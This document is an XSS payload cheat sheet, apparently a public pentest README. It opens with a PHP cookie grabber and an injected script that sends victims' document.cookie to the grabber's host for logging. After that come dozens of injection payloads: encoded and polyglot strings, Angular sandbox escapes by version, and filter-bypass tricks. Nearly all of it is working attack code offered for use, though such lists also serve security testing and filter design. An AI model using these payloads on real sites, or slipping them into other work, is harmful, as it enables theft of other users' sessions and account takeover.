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XSS injection

README.md

Cross Site Scripting

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.

Exploit code or POC

Cookie grabber for XSS

<?php
// How to use it
# <script>document.location='http://localhost/XSS/grabber.php?c=' + document.cookie</script>

// Write the cookie in a file
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie.'\r\n');
fclose($fp);

?>

XSS in HTML/Applications

XSS Basic

Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>

Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>

Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)

XSS for HTML5

<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>

XSS in META tag

Base64 encoded
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

<meta/content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg=="http-equiv=refresh>

With an additional URL
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

XSS in flash application

 \%22})))}catch(e){alert(document.domain);}//

 "]);}catch(e){}if(!self.a)self.a=!alert(document.domain);//

 "a")(({type:"ready"}));}catch(e){alert(1)}//

XSS in Hidden input

<input type="hidden" accesskey="X" onclick="alert(1)">
Use CTRL+SHIFT+X to trigger the onclick event

DOM XSS

#"><img src=/ onerror=alert(2)>

XSS in wrappers javascript and data URI

XSS with javascript:

javascript:prompt(1)

%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341

&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41

We can encode the "javacript:" in Hex/Octal
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
\152\141\166\141\163\143\162\151\160\164\072alert(1)

We can use a 'newline character'
java%0ascript:alert(1)   - LF (\n)
java%09script:alert(1)   - Horizontal tab (\t)
java%0dscript:alert(1)   - CR (\r)

Using the escape character
 \j\av\a\s\cr\i\pt\:\a\l\ert\(1\)

Using the newline and a comment //
javascript://%0Aalert(1)
javascript://anything%0D%0A%0D%0Awindow.alert(1)

XSS with data:

data:text/html,<script>alert(0)</script>
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+

XSS with vbscript: only IE

vbscript:msgbox("XSS")

XSS in files

XSS in XML

<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>

XSS in SVG

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.domain);
   </script>
</svg>

XSS in SVG (short)

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

XSS in SWF

Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}
IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);


InsecureFlashFile.swf
location to url: InsecureFlashFile.swf?a=location&c=http://www.google.com/
open url to new window: InsecureFlashFile.swf?a=open&c=http://www.google.com/
http request to url: InsecureFlashFile.swf?a=get&c=http://www.google.com/
eval js codz: InsecureFlashFile.swf?a=eval&c=alert(document.domain)

more payloads in ./files

XSS with Relative Path Overwrite - IE 8/9 and lower

You need these 3 components

1) stored XSS that allows CSS injection. : {}*{xss:expression(open(alert(1)))}
2) URL Rewriting.
3) Relative addressing to CSS style sheet : ../style.css

A little example

http://url.example.com/index.php/[RELATIVE_URL_INSERTED_HERE]
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<link href="[RELATIVE_URL_INSERTED_HERE]/styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
Stored XSS with CSS injection - Hello {}*{xss:expression(open(alert(1)))}
</body>
</html>

Explanation of the vulnerability

The Meta element forces IE’s document mode into IE7 compat which is required to execute expressions. Our persistent text {}*{xss:expression(open(alert(1)))is included on the page and in a realistic scenario it would be a profile page or maybe a shared status update which is viewable by other users. We use “open” to prevent client side DoS with repeated executions of alert.

A simple request of “rpo.php/” makes the relative style load the page itself as a style sheet. The actual request is “/labs/xss_horror_show/chapter7/rpo.php/styles.css” the browser thinks there’s another directory but the actual request is being sent to the document and that in essence is how an RPO attack works.

Demo 1 at http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo.php
Demo 2 at http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo2.php/fakedirectory/fakedirectory2/fakedirectory3
MultiBrowser : http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo3.php


From : http://www.thespanner.co.uk/2014/03/21/rpo/

Mutated XSS for Browser IE8/IE9

<listing id=x>&lt;img src=1 onerror=alert(1)&gt;</listing>
<script>alert(document.getElementById('x').innerHTML)</script>

IE will read and write (decode) HTML multiple time and attackers XSS payload will mutate and execute.

XSS in Angular

Angular 1.6.0

{{0[a='constructor'][a]('alert(1)')()}}

Angular 1.5.9

{{
    c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
    c.$apply=$apply;c.$eval=b;op=$root.$$phase;
    $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
    C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
    B=C(b,c,b);$evalAsync("
    astNode=pop();astNode.type='UnaryExpression';
    astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
    astNode.argument={type:'Identifier',name:'foo'};
    ");
    m1=B($$asyncQueue.pop().expression,null,$root);
    m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
    $eval('a(b.c)');[].push.apply=a;
}}

Angular 1.5.0 - 1.5.8

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

Angular 1.4.0 - 1.4.9

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

Angular 1.3.20

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

Angular 1.3.19

{{
    'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
    $eval('x=alert(1)//');
}}

Angular 1.3.3 - 1.3.18

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
  'a'.constructor.prototype.charAt=[].join;
  $eval('x=alert(1)//');  }}

Angular 1.3.1 - 1.3.2

{{
    {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
    'a'.constructor.prototype.charAt=''.valueOf;
    $eval('x=alert(1)//');
}}

Angular 1.3.0

{{!ready && (ready = true) && (
      !call
      ? $$watchers[0].get(toString.constructor.prototype)
      : (a = apply) &&
        (apply = constructor) &&
        (valueOf = call) &&
        (''+''.toString(
          'F = Function.prototype;' +
          'F.apply = F.a;' +
          'delete F.a;' +
          'delete F.valueOf;' +
          'alert(1);'
        ))
    );}}

Angular 1.2.24 - 1.2.29

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

Angular 1.2.19 - 1.2.23

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

Angular 1.2.6 - 1.2.18

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

Angular 1.2.2 - 1.2.5

{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

Angular 1.2.0 - 1.2.1

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

Angular 1.0.1 - 1.1.5

{{constructor.constructor('alert(1)')()}}

Polyglot XSS

Polyglot XSS - 0xsobky

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Polyglot XSS - Ashar Javed

 ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">

Polyglot XSS - Mathias Karlsson

" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//

Polyglot XSS - Rsnake

';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>

Polyglot XSS - Daniel Miessler

javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*

Filter Bypass and exotic payloads

Bypass case sensitive

<sCrIpt>alert(1)</ScRipt>

Bypass quotes for string

String.fromCharCode(88,83,83)

Bypass quotes in script tag

http://localhost/bla.php?test=</script><script>alert(1)</script>
<html>
  <script>
    <?php echo 'foo="text '.$_GET['test'].'";';`?>
  </script>
</html>

Bypass quotes in mousedown event

<a href="" onmousedown="var name = '&#39;;alert(1)//'; alert('smthg')">Link</a>

You can bypass a single quote with &#39; in an on mousedown event handler

Bypass dot filter

<script>window['alert'](document['domain'])<script>

Bypass parenthesis for string - Firefox

alert`1`

Bypass onxxxx= blacklist

<object onafterscriptexecute=confirm(0)>
<object onbeforescriptexecute=confirm(0)>

Bypass onxxx= filter with a null byte/vertical tab - IE/Safari

<img src='1' onerror\x00=alert(0) />
<img src='1' onerror\x0b=alert(0) />

Bypass onxxx= filter with a '/' - IE/Firefox/Chrome/Safari

<img src='1' onerror/=alert(0) />

Bypass space filter with "/" - IE/Firefox/Chrome/Safari

<img/src='1'/onerror=alert(0)>

Bypass with incomplete html tag - IE/Firefox/Chrome/Safari

<img src='1' onerror='alert(0)' <

Bypass document blacklist

<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>

Bypass using javascript inside a string

<script>
foo="text </script><script>alert(1)</script>";
</script>

Bypass using an alternate way to execute an alert

<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>
<script>top['alert'](3)</script>

Bypass using an alternate way to trigger an alert

var i = document.createElement("iframe");
i.onload = function(){
  i.contentWindow.alert(1);
}
document.appendChild(i);

// Bypassed security
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
      var proxy = obj[name];
      obj[name] = function () {
         if (exec_original) {
            return proxy.apply(this, arguments);
         }
      };
      XSSObject.lockdown(obj, name);
   };
XSSObject.proxy(window, 'alert', 'window.alert', false);

Bypass ';' using another character

'te' * alert('*') * 'xt';
'te' / alert('/') / 'xt';
'te' % alert('%') % 'xt';
'te' - alert('-') - 'xt';
'te' + alert('+') + 'xt';
'te' ^ alert('^') ^ 'xt';
'te' > alert('>') > 'xt';
'te' < alert('<') < 'xt';
'te' == alert('==') == 'xt';
'te' & alert('&') & 'xt';
'te' , alert(',') , 'xt';
'te' | alert('|') | 'xt';
'te' ? alert('ifelsesh') : 'xt';
'te' in alert('in') in 'xt';
'te' instanceof alert('instanceof') instanceof 'xt';

Bypass using Unicode

Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESS­THAN SIGN (<)

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")

Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')

Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESS­THAN SIGN (<)

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")

Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')

E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
%EF%BC%9E becomes >
%EF%BC%9C becomes <

Bypass using unicode converted to uppercase

İ (%c4%b0).toLowerCase() => i
ı (%c4%b1).toUpperCase() => I
ſ (%c5%bf) .toUpperCase() => S
K (%E2%84%AA).toLowerCase() => k

<ſvg onload=... > become <SVG ONLOAD=...>
<ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=>

Bypass using overlong UTF-8

< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
" = %CA%BA
' = %CA%B9

Bypass using UTF-7

+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-

Bypass using weird encoding or native interpretation to hide the payload (alert())

<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
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Exotic payloads

<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img/id="alert&lpar;&#x27;XSS&#x27;&#x29;\"/alt=\"/\"src=\"/\"onerror=eval(id&#x29;>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert&#40;&#39;1&#39;&#41</x>
<iframe src=""/srcdoc='&lt;svg onload&equals;alert&lpar;1&rpar;&gt;'>

Thanks to